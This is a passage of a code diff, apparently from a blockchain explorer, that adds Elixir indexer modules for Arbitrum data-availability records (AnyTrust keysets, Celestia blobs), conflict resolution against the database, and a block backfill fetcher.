duplicate, compare timeout values + timeout_in_duplicate = duplicate_record.data.timeout + timeout_in_candidate = da_record.data.timeout + + if DateTime.compare(timeout_in_candidate, timeout_in_duplicate) == :gt do + # New record has higher timeout, replace the existing one + Map.put(da_records_acc, da_info.data_hash, da_record) + else + # Existing record has higher or equal timeout, keep it + da_records_acc + end + end + + {check_result, keyset_map, updated_cache} = check_if_new_keyset(da_info.keyset_hash, l1_connection_config, cache) + + # Add keyset record if it's new + final_da_records = + case check_result do + :new_keyset -> + # If the keyset is new, add a new keyset record to the DA records list. + # As per the nature of `DaMultiPurposeRecord` it can contain not only DA + # certificates but also keysets. + keyset_record = %{ + data_type: 1, + data_key: da_info.keyset_hash, + data: keyset_map, + batch_number: nil + } + + Map.put(updated_da_records, da_info.keyset_hash, keyset_record) + + _ -> + updated_da_records + end + + {{final_da_records, [batch_to_blob_record | batch_to_blob_acc]}, updated_cache} + end + + # Verifies the existence of an AnyTrust committee keyset in the database and fetches it from L1 if not found. + # + # To avoid fetching the same keyset multiple times, the function uses a cache. + # + # ## Parameters + # - `keyset_hash`: A binary representing the hash of the keyset. + # - `l1_connection_config`: A map containing the address of the Sequencer Inbox + # contract and configuration parameters for the JSON RPC + # connection. + # - `cache`: A set of unique elements used to cache the checked keysets. + # + # ## Returns + # - `{:new_keyset, keyset_info, updated_cache}` if the keyset is not found and fetched from L1. + # - `{:existing_keyset, nil, cache}` if the keyset is found in the cache or database. + @spec check_if_new_keyset( + binary(), + %{ + :sequencer_inbox_address => binary(), + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments() + }, + MapSet.t() + ) :: + {:new_keyset, __MODULE__.keyset(), MapSet.t()} + | {:existing_keyset, nil, MapSet.t()} + defp check_if_new_keyset(keyset_hash, l1_connection_config, cache) do + if MapSet.member?(cache, keyset_hash) do + {:existing_keyset, nil, cache} + else + updated_cache = MapSet.put(cache, keyset_hash) + + case Db.anytrust_keyset_exists?(keyset_hash) do + true -> + {:existing_keyset, nil, updated_cache} + + false -> + {:new_keyset, get_keyset_info_from_l1(keyset_hash, l1_connection_config), updated_cache} + end + end + end + + # Retrieves and decodes AnyTrust committee keyset information from L1 using the provided keyset hash. + # + # This function fetches the block number when the keyset was applied, retrieves + # the raw keyset data from L1, and decodes it to extract the threshold and public + # keys information. + # + # ## Parameters + # - `keyset_hash`: The hash of the keyset to be retrieved. + # - A map containing: + # - `:sequencer_inbox_address`: The address of the Sequencer Inbox contract. + # - `:json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # + # ## Returns + # - A map describing an AnyTrust committee. + @spec get_keyset_info_from_l1( + binary(), + %{ + :sequencer_inbox_address => binary(), + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments() + } + ) :: __MODULE__.keyset() + defp get_keyset_info_from_l1(keyset_hash, %{ + sequencer_inbox_address: sequencer_inbox_address, + json_rpc_named_arguments: json_rpc_named_arguments + }) do + keyset_applied_block_number = + Rpc.get_block_number_for_keyset(sequencer_inbox_address, keyset_hash, json_rpc_named_arguments) + + log_debug("Keyset applied block number: #{keyset_applied_block_number}") + + raw_keyset_data = + get_keyset_raw_data(keyset_hash, keyset_applied_block_number, sequencer_inbox_address, json_rpc_named_arguments) + + decode_keyset(raw_keyset_data) + end + + # Retrieves the raw data of a keyset by querying logs for the `SetValidKeyset` event. + # + # This function fetches logs for the `SetValidKeyset` event within a specific block + # emitted by the Sequencer Inbox contract and extracts the keyset data if available. + # + # ## Parameters + # - `keyset_hash`: The hash of the keyset to retrieve. + # - `block_number`: The block number to search for the logs. + # - `sequencer_inbox_address`: The address of the Sequencer Inbox contract. + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # + # ## Returns + # - The raw data of the keyset if found, otherwise `nil`. + @spec get_keyset_raw_data( + binary(), + non_neg_integer(), + binary(), + EthereumJSONRPC.json_rpc_named_arguments() + ) :: binary() | nil + defp get_keyset_raw_data(keyset_hash, block_number, sequencer_inbox_address, json_rpc_named_arguments) do + {:ok, logs} = + IndexerHelper.get_logs( + block_number, + block_number, + sequencer_inbox_address, + [ArbitrumEvents.set_valid_keyset(), ArbitrumHelper.bytes_to_hex_str(keyset_hash)], + json_rpc_named_arguments + ) + + if length(logs) > 0 do + log_info("Found #{length(logs)} SetValidKeyset logs") + + set_valid_keyset_event_parse(List.first(logs)) + else + log_error("No SetValidKeyset logs found in the block #{block_number}") + nil + end + end + + defp set_valid_keyset_event_parse(event) do + [keyset_data] = decode_data(event["data"], ArbitrumEvents.set_valid_keyset_unindexed_params()) + + keyset_data + end + + # Decodes an AnyTrust committee keyset from a binary input. + # + # This function extracts the threshold of committee members configured for the + # keyset and the number of member public keys from the binary input, then decodes + # the specified number of public keys. + # + # Implemented as per: https://github.com/OffchainLabs/nitro/blob/ad9ab00723e13cf98307b9b65774ad455594ef7b/arbstate/das_reader.go#L217-L248 + # + # ## Parameters + # - A binary input containing the threshold value, the number of public keys, + # and the public keys themselves. + # + # ## Returns + # - A map describing an AnyTrust committee. + @spec decode_keyset(binary()) :: __MODULE__.keyset() + defp decode_keyset(<< + threshold::big-unsigned-integer-size(64), + num_keys::big-unsigned-integer-size(64), + rest::binary + >>) + when num_keys <= 64 do + {pubkeys, _} = decode_pubkeys(rest, num_keys, []) + + %{ + threshold: threshold, + pubkeys: pubkeys + } + end + + # Decodes a list of AnyTrust committee member public keys from a binary input. + # + # This function recursively processes a binary input to extract a specified number + # of public keys. + # + # ## Parameters + # - `data`: The binary input containing the public keys. + # - `num_keys`: The number of public keys to decode. + # - `acc`: An accumulator list to collect the decoded public keys. + # + # ## Returns + # - A tuple containing: + # - `{:error, "Insufficient data to decode public keys"}` if the input is insufficient + # to decode the specified number of keys. + # - A list of decoded AnyTrust committee member public keys and a binary entity + # of zero length, if successful. + @spec decode_pubkeys(binary(), non_neg_integer(), [ + signer() + ]) :: {:error, String.t()} | {[signer()], binary()} + defp decode_pubkeys(<<>>, 0, acc), do: {Enum.reverse(acc), <<>>} + defp decode_pubkeys(<<>>, _num_keys, _acc), do: {:error, "Insufficient data to decode public keys"} + + defp decode_pubkeys(data, num_keys, acc) when num_keys > 0 do + <> = data + pubkey_len = high_byte * 256 + low_byte + + <> = rest + pubkey = parse_pubkey(pubkey_data) + decode_pubkeys(remaining, num_keys - 1, [pubkey | acc]) + end + + # Parses a public key of an AnyTrust AnyTrust committee member from a binary input. + # + # This function extracts either the public key (for trusted sources) or the proof + # bytes and key bytes (for untrusted sources). + # + # Implemented as per: https://github.com/OffchainLabs/nitro/blob/35bd2aa59611702e6403051af581fddda7c17f74/blsSignatures/blsSignatures.go#L206C6-L242 + # + # ## Parameters + # - A binary input containing the proof length and the rest of the data. + # + # ## Returns + # - A map describing an AnyTrust committee member public key. + @spec parse_pubkey(binary()) :: signer() + defp parse_pubkey(<>) do + if proof_len == 0 do + # Trusted source, no proof bytes, the rest is the key + %{trusted: true, key: ArbitrumHelper.bytes_to_hex_str(rest)} + else + <> = rest + + %{ + trusted: false, + proof: ArbitrumHelper.bytes_to_hex_str(proof_bytes), + key: ArbitrumHelper.bytes_to_hex_str(key_bytes) + } + end + end + + @doc """ + Resolves conflicts between existing database records and candidate DA records. + + This function compares the timeout values of existing database records with candidate + records that have the same data_key. It keeps only candidate records with higher timeout + values than their corresponding database records, or those without matching database records. + + ## Parameters + - `db_records`: A list of `Arbitrum.DaMultiPurposeRecord` retrieved from the database + - `candidate_records`: A map where `data_key` maps to `Arbitrum.DaMultiPurposeRecord.to_import()` + + ## Returns + - A list of `Arbitrum.DaMultiPurposeRecord.to_import()` after resolving conflicts + """ + @spec resolve_conflict( + [Arbitrum.DaMultiPurposeRecord.t()], + %{binary() => Arbitrum.DaMultiPurposeRecord.to_import()} + ) :: [Arbitrum.DaMultiPurposeRecord.to_import()] + + def resolve_conflict([], candidate_records) do + Map.values(candidate_records) + end + + def resolve_conflict(db_records, candidate_records) do + # Create a set of keys to exclude (those where DB record has equal or higher timeout) + keys_to_exclude = + Enum.reduce(db_records, MapSet.new(), fn db_record, acc -> + data_key = db_record.data_key + + case Map.get(candidate_records, data_key) do + nil -> + # No matching candidate record, nothing to exclude + acc + + candidate_record -> + # Convert string timeout from DB to DateTime and compare with candidate timeout + db_timeout = string_to_datetime(db_record.data["timeout"]) + candidate_timeout = candidate_record.data.timeout + + # credo:disable-for-lines:1 Credo.Check.Refactor.Nesting + if DateTime.compare(candidate_timeout, db_timeout) == :gt do + log_info( + "Candidate DA record #{ArbitrumHelper.bytes_to_hex_str(data_key)} has higher timeout than DB record" + ) + + # Candidate has higher timeout, don't exclude + acc + else + # DB record has higher or equal timeout, exclude this key + log_info( + "DA record #{ArbitrumHelper.bytes_to_hex_str(data_key)} already exists in DB with higher or equal timeout" + ) + + MapSet.put(acc, data_key) + end + end + end) + + # Return only candidate records not in the exclude set + candidate_records + |> Enum.reject(fn {data_key, _record} -> MapSet.member?(keys_to_exclude, data_key) end) + |> Enum.map(fn {_data_key, record} -> record end) + end + + # Converts a string representation of a DateTime to a DateTime struct. + # The string is expected to be in ISO 8601 format. + # + # ## Parameters + # - `datetime_str`: A string representing a DateTime in ISO 8601 format + # + # ## Returns + # - A DateTime struct if the conversion is successful + # - Raises an error if the string cannot be parsed + @spec string_to_datetime(String.t()) :: DateTime.t() + defp string_to_datetime(datetime_str) when is_binary(datetime_str) do + case DateTime.from_iso8601(datetime_str) do + {:ok, datetime, _offset} -> datetime + {:error, reason} -> raise "Failed to parse datetime string: #{datetime_str}, reason: #{reason}" + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/da/celestia.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/da/celestia.ex new file mode 100644 index 000000000000..6f20ded63a59 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/da/celestia.ex @@ -0,0 +1,186 @@ +defmodule Indexer.Fetcher.Arbitrum.DA.Celestia do + @moduledoc """ + Provides functionality for parsing and preparing Celestia data availability + information associated with Arbitrum rollup batches. + """ + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_error: 1, log_info: 1] + import Explorer.Chain.Arbitrum.DaMultiPurposeRecord.Helper, only: [calculate_celestia_data_key: 2] + + alias Indexer.Fetcher.Arbitrum.Utils.Helper, as: ArbitrumHelper + + alias Explorer.Chain.Arbitrum + + @enforce_keys [:batch_number, :height, :transaction_commitment, :raw] + defstruct @enforce_keys + + @typedoc """ + Celestia Blob Pointer struct: + * `batch_number` - The batch number in Arbitrum rollup associated with the + Celestia data. + * `height` - The height of the block in Celestia. + * `transaction_commitment` - Data commitment in Celestia. + * `raw` - Unparsed blob pointer data containing data root, proof, etc. + """ + @type t :: %__MODULE__{ + batch_number: non_neg_integer(), + height: non_neg_integer(), + transaction_commitment: binary(), + raw: binary() + } + + @typedoc """ + Celestia Blob Descriptor struct: + * `height` - The height of the block in Celestia. + * `transaction_commitment` - Data commitment in Celestia. + * `raw` - Unparsed blob pointer data containing data root, proof, etc. + """ + @type blob_descriptor :: %{ + :height => non_neg_integer(), + :transaction_commitment => String.t(), + :raw => String.t() + } + + @doc """ + Parses the batch accompanying data for Celestia. + + This function extracts Celestia blob descriptor information, representing + information required to address a data blob and prove data availability, + from a binary input associated with a given batch number. + + ## Parameters + - `batch_number`: The batch number in the Arbitrum rollup associated with the Celestia data. + - `binary`: A binary input containing the Celestia blob descriptor data. + + ## Returns + - `{:ok, :in_celestia, da_info}` if the data is successfully parsed. + - `{:error, nil, nil}` if the data cannot be parsed. + """ + @spec parse_batch_accompanying_data(non_neg_integer(), binary()) :: + {:ok, :in_celestia, __MODULE__.t()} | {:error, nil, nil} + def parse_batch_accompanying_data( + batch_number, + << + height::big-unsigned-integer-size(64), + _start_index::binary-size(8), + _shares_length::binary-size(8), + transaction_commitment::binary-size(32), + _data_root::binary-size(32), + _rest::binary + >> = raw + ) do + # https://github.com/celestiaorg/nitro-das-celestia/blob/7baf95c5bf1ece467abbbab911db7ed9c7cc6967/das/types.go#L19-L42 + {:ok, :in_celestia, + %__MODULE__{batch_number: batch_number, height: height, transaction_commitment: transaction_commitment, raw: raw}} + end + + def parse_batch_accompanying_data(_, _) do + log_error("Can not parse Celestia DA message.") + {:error, nil, nil} + end + + @doc """ + Prepares Celestia Blob data for import. + + ## Parameters + - A tuple containing: + - A map of already prepared DA records + - A list of already prepared batch-to-blob associations + - `da_info`: The Celestia blob descriptor struct containing details about the data blob. + + ## Returns + - A tuple containing: + - An updated map of `DaMultiPurposeRecord` structures ready for import in the DB, + where `data_key` maps to the record + - An updated list of `BatchToDaBlob` structures ready for import in the DB. + """ + @spec prepare_for_import( + {%{binary() => Arbitrum.DaMultiPurposeRecord.to_import()}, [Arbitrum.BatchToDaBlob.to_import()]}, + __MODULE__.t() + ) :: + {%{binary() => Arbitrum.DaMultiPurposeRecord.to_import()}, [Arbitrum.BatchToDaBlob.to_import()]} + def prepare_for_import({da_records_acc, batch_to_blob_acc}, %__MODULE__{} = da_info) do + transaction_commitment_as_hex = ArbitrumHelper.bytes_to_hex_str(da_info.transaction_commitment) + + data = %{ + height: da_info.height, + transaction_commitment: transaction_commitment_as_hex, + raw: ArbitrumHelper.bytes_to_hex_str(da_info.raw) + } + + data_key = calculate_celestia_data_key(da_info.height, da_info.transaction_commitment) + + # Create record for arbitrum_da_multi_purpose table with batch_number set to nil + da_record = %{ + data_type: 0, + data_key: data_key, + data: data, + # This field must be removed as soon as migration to a separate table for Batch-to-DA-record associations is completed. + batch_number: nil + } + + # Create record for arbitrum_batches_to_da_blobs table + batch_to_blob_record = %{ + batch_number: da_info.batch_number, + data_blob_id: data_key + } + + # Only add the DA record if it doesn't already exist in the map + updated_da_records = + if Map.has_key?(da_records_acc, data_key) do + log_info("Found duplicate DA record #{da_info.height}/#{transaction_commitment_as_hex}") + # Record with this data_key already exists, keep existing record + da_records_acc + else + # No duplicate, add the new record + Map.put(da_records_acc, data_key, da_record) + end + + {updated_da_records, [batch_to_blob_record | batch_to_blob_acc]} + end + + @doc """ + Resolves conflicts between existing database records and candidate DA records. + + This function handles deduplication by comparing Celestia data keys between database + records and candidate records. For Celestia records, if a record with a matching data_key + already exists in the database, the candidate record is excluded from import. + + ## Parameters + - `db_records`: A list of `Arbitrum.DaMultiPurposeRecord` retrieved from the database + - `candidate_records`: A map where `data_key` maps to `Arbitrum.DaMultiPurposeRecord.to_import()` + + ## Returns + - A list of `Arbitrum.DaMultiPurposeRecord.to_import()` after resolving conflicts + """ + @spec resolve_conflict( + [Arbitrum.DaMultiPurposeRecord.t()], + %{binary() => Arbitrum.DaMultiPurposeRecord.to_import()} + ) :: [Arbitrum.DaMultiPurposeRecord.to_import()] + # When no database records to check against, simply return all candidate records + def resolve_conflict([], candidate_records) do + Map.values(candidate_records) + end + + def resolve_conflict(db_records, candidate_records) do + # Create a set of keys to exclude (those already present in DB) + keys_to_exclude = + Enum.reduce(db_records, MapSet.new(), fn db_record, acc -> + # Any key present in both DB and candidates should be excluded + if Map.has_key?(candidate_records, db_record.data_key) do + log_info( + "DA record #{db_record.data["height"]}/#{db_record.data["transaction_commitment"]} already exists in DB" + ) + + MapSet.put(acc, db_record.data_key) + else + acc + end + end) + + # Return only candidate records not in the exclude set + candidate_records + |> Enum.reject(fn {data_key, _record} -> MapSet.member?(keys_to_exclude, data_key) end) + |> Enum.map(fn {_data_key, record} -> record end) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/da/common.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/da/common.ex new file mode 100644 index 000000000000..7a334225ecea --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/da/common.ex @@ -0,0 +1,241 @@ +defmodule Indexer.Fetcher.Arbitrum.DA.Common do + @moduledoc """ + This module provides common functionalities for handling data availability (DA) + information in the Arbitrum rollup. + """ + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_error: 1] + + alias Indexer.Fetcher.Arbitrum.DA.{Anytrust, Celestia} + alias Indexer.Fetcher.Arbitrum.Utils.Db.Settlement, as: Db + + alias Explorer.Chain.Arbitrum + + @doc """ + Examines the batch accompanying data to determine its type and parse it accordingly. + + This function examines the batch accompanying data to identify its type and then + parses it based on the identified type if necessary. + + ## Parameters + - `batch_number`: The batch number in the Arbitrum rollup. + - `batch_accompanying_data`: The binary data accompanying the batch. + + ## Returns + - `{status, da_type, da_info}` where `da_type` is one of `:in_blob4844`, + `:in_calldata`, `:in_celestia`, `:in_anytrust`, or `nil` if the accompanying + data cannot be parsed or is of an unsupported type. `da_info` contains the DA + info descriptor for Celestia or Anytrust. + """ + @spec examine_batch_accompanying_data(non_neg_integer(), binary()) :: + {:ok, :in_blob4844, nil} + | {:ok, :in_calldata, nil} + | {:ok, :in_celestia, Celestia.t()} + | {:ok, :in_anytrust, Anytrust.t()} + | {:error, nil, nil} + def examine_batch_accompanying_data(batch_number, batch_accompanying_data) do + case batch_accompanying_data do + nil -> {:ok, :in_blob4844, nil} + _ -> parse_data_availability_info(batch_number, batch_accompanying_data) + end + end + + @doc """ + Prepares data availability (DA) information for import. + + This function processes a list of DA information, either from Celestia or Anytrust, + preparing it for database import. It handles deduplication of records within the same + processing chunk and against existing database records. + + ## Parameters + - `da_info`: A list of DA information structs. + - `l1_connection_config`: A map containing the address of the Sequencer Inbox contract + and configuration parameters for the JSON RPC connection. + + ## Returns + - A tuple containing: + - A list of DA records (`DaMultiPurposeRecord`) ready for import, deduplicated both within + the current batch and against existing database records. + - A list of batch-to-blob associations (`BatchToDaBlob`) ready for import. + """ + @spec prepare_for_import([Celestia.t() | Anytrust.t() | map()], %{ + :sequencer_inbox_address => String.t(), + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments() + }) :: {[Arbitrum.DaMultiPurposeRecord.to_import()], [Arbitrum.BatchToDaBlob.to_import()]} + def prepare_for_import([], _), do: {[], []} + + def prepare_for_import(da_info, l1_connection_config) do + # Initialize accumulator with maps for each DA type + initial_acc = { + %{ + celestia: %{}, + anytrust: %{} + }, + [], + MapSet.new() + } + + # Process all DA info entries + {da_records_by_type, batch_to_blobs, _cache} = + da_info + |> Enum.reduce(initial_acc, fn info, {da_records_by_type, batch_to_blob_acc, cache} -> + case info do + %Celestia{} -> + {updated_records, updated_batches} = + Celestia.prepare_for_import({da_records_by_type.celestia, batch_to_blob_acc}, info) + + { + %{da_records_by_type | celestia: updated_records}, + updated_batches, + cache + } + + %Anytrust{} -> + {{updated_records, updated_batches}, updated_cache} = + Anytrust.prepare_for_import( + {da_records_by_type.anytrust, batch_to_blob_acc}, + info, + l1_connection_config, + cache + ) + + { + %{da_records_by_type | anytrust: updated_records}, + updated_batches, + updated_cache + } + + _ -> + {da_records_by_type, batch_to_blob_acc, cache} + end + end) + + # Eliminate conflicts with database records + da_records = eliminate_conflicts(da_records_by_type) + + {da_records, batch_to_blobs} + end + + # Eliminates conflicts between candidate DA records and existing database records. + # + # This function checks for conflicts between candidate records and existing database + # records, and resolves them according to type-specific rules. + # + # ## Parameters + # - `da_records_by_type`: A map containing candidate records organized by DA type + # (`:celestia` and `:anytrust`), where each type has a map of records keyed by `data_key`. + # + # ## Returns + # - A list of `DaMultiPurposeRecord` records after conflict resolution, ready for import. + @spec eliminate_conflicts(%{ + celestia: %{binary() => Arbitrum.DaMultiPurposeRecord.to_import()}, + anytrust: %{binary() => Arbitrum.DaMultiPurposeRecord.to_import()} + }) :: [Arbitrum.DaMultiPurposeRecord.to_import()] + defp eliminate_conflicts(da_records_by_type) do + # Define the types and their corresponding resolution modules + type_configs = [ + {:celestia, da_records_by_type.celestia, &Celestia.resolve_conflict/2}, + {:anytrust, da_records_by_type.anytrust, &Anytrust.resolve_conflict/2} + ] + + # Process each type using the same pattern + type_configs + |> Enum.flat_map(fn {_type, records_map, resolve_fn} -> + process_records(records_map, resolve_fn) + end) + end + + # Processes candidate DA records using a type-specific resolution function. + # + # This function takes a map of candidate DA records and a resolution function specific + # to the DA type (Celestia or AnyTrust). It fetches any existing records from the + # database with matching data keys and uses the resolution function to determine + # which records should be imported. + # + # ## Parameters + # - `records_map`: A map where data keys map to candidate DA records to be imported + # - `resolve_fn`: A function that resolves conflicts between database records and + # candidate records according to type-specific rules + # + # ## Returns + # - A list of DA records that should be imported after conflict resolution + @spec process_records( + %{binary() => Arbitrum.DaMultiPurposeRecord.to_import()}, + ([Explorer.Chain.Arbitrum.DaMultiPurposeRecord.t()], + %{binary() => Explorer.Chain.Arbitrum.DaMultiPurposeRecord.to_import()} -> + [Arbitrum.DaMultiPurposeRecord.to_import()]) + ) :: [Arbitrum.DaMultiPurposeRecord.to_import()] + defp process_records(records_map, resolve_fn) + + defp process_records(records_map, _resolve_fn) when map_size(records_map) == 0, do: [] + + defp process_records(records_map, resolve_fn) do + # Get all keys from the records map + keys = Map.keys(records_map) + + # Fetch existing records from DB with these keys + db_records = Db.da_records_by_keys(keys) + + # Call the resolution function with db_records and candidate records + resolve_fn.(db_records, records_map) + end + + @doc """ + Determines if data availability information requires import. + + This function checks the type of data availability (DA) and returns whether + the data should be imported based on its type. + + ## Parameters + - `da_type`: The type of data availability, which can be `:in_blob4844`, `:in_calldata`, + `:in_celestia`, `:in_anytrust`, or `nil`. + + ## Returns + - `true` if the DA type is `:in_celestia` or `:in_anytrust`, indicating that the data + requires import. + - `false` for all other DA types, indicating that the data does not require import. + """ + @spec required_import?(:in_blob4844 | :in_calldata | :in_celestia | :in_anytrust | nil) :: boolean() + def required_import?(da_type) do + da_type in [:in_celestia, :in_anytrust] + end + + # Parses data availability information based on the header flag. + @spec parse_data_availability_info(non_neg_integer(), binary()) :: + {:ok, :in_calldata, nil} + | {:ok, :in_celestia, Celestia.t()} + | {:ok, :in_anytrust, Anytrust.t()} + | {:error, nil, nil} + defp parse_data_availability_info(batch_number, << + header_flag::size(8), + rest::binary + >>) do + # https://github.com/OffchainLabs/nitro-contracts/blob/90037b996509312ef1addb3f9352457b8a99d6a6/src/bridge/SequencerInbox.sol#L69-L81 + case header_flag do + 0 -> + {:ok, :in_calldata, nil} + + 32 -> + log_error("ZERO HEAVY messages are not supported.") + {:error, nil, nil} + + 99 -> + Celestia.parse_batch_accompanying_data(batch_number, rest) + + 128 -> + Anytrust.parse_batch_accompanying_data(batch_number, rest) + + 136 -> + Anytrust.parse_batch_accompanying_data(batch_number, rest) + + _ -> + log_error("Unknown header flag found during an attempt to parse DA data: #{header_flag}") + {:error, nil, nil} + end + end + + defp parse_data_availability_info(_, _) do + log_error("Failed to parse data availability information.") + {:error, nil, nil} + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/data_backfill.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/data_backfill.ex new file mode 100644 index 000000000000..86ef3308d2b5 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/data_backfill.ex @@ -0,0 +1,197 @@ +defmodule Indexer.Fetcher.Arbitrum.DataBackfill do + @moduledoc """ + Manages the backfilling process for Arbitrum-specific block data in a controlled manner + using BufferedTask functionality. + + This fetcher processes historical blocks in reverse chronological order, starting from + the most recently indexed block and working backwards towards the first rollup block. + It coordinates with the `Indexer.Fetcher.Arbitrum.Workers.Backfill` module to discover + and backfill missing Arbitrum L2-specific information. + + The fetcher leverages BufferedTask to break down the entire block range into smaller, + manageable tasks. Each task processes a specific block range, and BufferedTask handles: + - Scheduling the next block range for processing + - Managing task retries when issues with JSON RPC or DB are encountered or when + the blocks are not yet indexed + + The fetcher implements two main operational modes: + - Initial waiting for the first indexed block + - Continuous backfilling of historical blocks in configurable depth ranges + + After identifying the first indexed block, backfill tasks are represented as tuples + containing a timeout and an end block number `{timeout, end_block}`. The timeout + mechanism serves two purposes: + - Under normal conditions, the timeout immediately expires, allowing immediate + processing of the block range + - When blocks are missing from the database, the timeout is set to a future time + (configured by `:recheck_interval`) to allow the catch-up block fetcher time to + index the missing blocks before retrying + + After reaching the first rollup block, the fetcher is stopped. + """ + + use Indexer.Fetcher, restart: :transient + use Spandex.Decorators + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_warning: 1, log_debug: 1, log_info: 1] + + require Logger + + alias EthereumJSONRPC.Utility.RangesHelper + alias Indexer.BufferedTask + alias Indexer.Fetcher.Arbitrum.Utils.Db.Common, as: ArbitrumDbUtils + alias Indexer.Fetcher.Arbitrum.Workers.Backfill + + @behaviour BufferedTask + + # Will do one block range at a time + @default_max_batch_size 1 + @default_max_concurrency 1 + + # the flush interval is small enough to pickup the next block range or retry + # the same block range without with low latency. In case if retry must happen + # due to unindexed blocks discovery, run callback will have its own timer + # management to make sure that the same unindexed block range is not tried to + # be processed multiple times during short period of time + @flush_interval :timer.seconds(2) + + def child_spec([init_options, gen_server_options]) do + {json_rpc_named_arguments, mergeable_init_options} = Keyword.pop(init_options, :json_rpc_named_arguments) + + unless json_rpc_named_arguments do + raise ArgumentError, + ":json_rpc_named_arguments must be provided to `#{__MODULE__}.child_spec` " <> + "to allow for json_rpc calls when running." + end + + indexer_first_block = + RangesHelper.get_min_block_number_from_range_string(Application.get_env(:indexer, :block_ranges)) + + rollup_chunk_size = Application.get_all_env(:indexer)[Indexer.Fetcher.Arbitrum][:rollup_chunk_size] + backfill_blocks_depth = Application.get_all_env(:indexer)[__MODULE__][:backfill_blocks_depth] + recheck_interval = Application.get_all_env(:indexer)[__MODULE__][:recheck_interval] + + buffered_task_init_options = + defaults() + |> Keyword.merge(mergeable_init_options) + |> Keyword.merge( + state: %{ + config: %{ + rollup_rpc: %{ + json_rpc_named_arguments: json_rpc_named_arguments, + chunk_size: rollup_chunk_size, + first_block: indexer_first_block + }, + backfill_blocks_depth: backfill_blocks_depth, + recheck_interval: recheck_interval + } + } + ) + + Supervisor.child_spec({BufferedTask, [{__MODULE__, buffered_task_init_options}, gen_server_options]}, + id: __MODULE__, + # This allows the buffered task-based process to stop, otherwise + # the supervisor would restart it + restart: :transient + ) + end + + @impl BufferedTask + @spec init({0, []}, function(), map()) :: {non_neg_integer(), list()} + def init(initial, reducer, _) do + time_of_start = DateTime.utc_now() + + log_debug("Waiting for the first block to be indexed") + + reducer.({:wait_for_new_block, time_of_start}, initial) + end + + @impl BufferedTask + @spec run([{:wait_for_new_block, DateTime.t()} | {:backfill, {non_neg_integer(), non_neg_integer()}}], map()) :: + :ok | :retry | {:retry, [{:backfill, {non_neg_integer(), non_neg_integer()}}]} + def run(entries, state) + + # Waits for the next block to be indexed and schedules the next backfill task + # with the block preceding the last indexed block as the end of the block range + # for backfill. + def run([{:wait_for_new_block, time_of_start}], _) do + case ArbitrumDbUtils.closest_block_after_timestamp(time_of_start) do + {:ok, block} -> + log_debug("Scheduling next backfill up to #{block - 1}") + BufferedTask.buffer(__MODULE__, [{:backfill, {0, block - 1}}], false) + :ok + + {:error, _} -> + log_warning("No progress of the block fetcher found") + :retry + end + end + + # Accepts a backfill task as as a tuple with the timeout and the end block of next + # batch of blocks to be backfilled. + # Then: + # - Checks if the backfill task has timed out and discovers the blocks to be backfilled. + # - If the blocks are discovered successfully, schedules the next backfill task with + # the block preceding the last discovered block as the end of the block range for + # backfill. + # - If the batch of blocks was not handled properly due to JSON RPC or DB related + # issues, retries the same backfill task. + # - If the blocks cannot be discovered due to the lack of indexed blocks, schedules + # the next backfill task with the increased timeout. + def run([{:backfill, {timeout, end_block}}], state) do + now = DateTime.to_unix(DateTime.utc_now(), :millisecond) + + if timeout > now do + :retry + else + case Backfill.discover_blocks(end_block, state) do + {:ok, start_block} -> + schedule_next_or_stop(start_block - 1, state.config.rollup_rpc.first_block) + + {:error, :discover_blocks_error} -> + :retry + + {:error, :not_indexed_blocks} -> + {:retry, [{:backfill, {now + state.config.recheck_interval, end_block}}]} + end + end + end + + def run(entries, _) do + log_warning("Unexpected entry in buffer: #{inspect(entries)}") + :retry + end + + # Schedules the next backfill task or stops the process when reaching the first rollup block. + # + # ## Parameters + # - `next_end_block`: The block number where the next block range for backfill + # should end + # - `rollup_first_block`: The first block number in the rollup + # + # ## Returns + # - `:ok` in all cases + @spec schedule_next_or_stop(non_neg_integer(), non_neg_integer()) :: :ok + defp schedule_next_or_stop(next_end_block, rollup_first_block) do + if next_end_block >= rollup_first_block do + log_debug("Scheduling next backfill up to #{next_end_block}") + BufferedTask.buffer(__MODULE__, [{:backfill, {0, next_end_block}}], false) + :ok + else + log_info("The first block achieved, stopping backfill") + GenServer.stop(__MODULE__, :shutdown) + :ok + end + end + + defp defaults do + [ + flush_interval: @flush_interval, + max_concurrency: @default_max_concurrency, + max_batch_size: @default_max_batch_size, + poll: false, + task_supervisor: __MODULE__.TaskSupervisor, + metadata: [fetcher: :arbitrum_backfill] + ] + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/messages_to_l2_matcher.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/messages_to_l2_matcher.ex new file mode 100644 index 000000000000..49cfa23c9ee4 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/messages_to_l2_matcher.ex @@ -0,0 +1,357 @@ +defmodule Indexer.Fetcher.Arbitrum.MessagesToL2Matcher do + @moduledoc """ + Matches and processes L1-to-L2 messages in the Arbitrum protocol. + + This module implements a buffered task system to handle the matching of + L1-to-L2 messages with hashed message IDs. It periodically attempts to match + unmatched messages, imports matched messages to the database, and reschedules + unmatched messages for future processing. + + The matcher operates asynchronously, allowing for efficient handling of + messages even when corresponding L1 transactions are not yet indexed. This + approach prevents blocking the discovery process and ensures eventual + consistency in message matching. + + Key features: + - Implements the `BufferedTask` behavior for efficient batch processing. + - Maintains a cache of uncompleted message IDs to optimize matching. + - Provides functionality to asynchronously schedule message matching. + - Automatically retries unmatched messages based on a configurable interval. + """ + 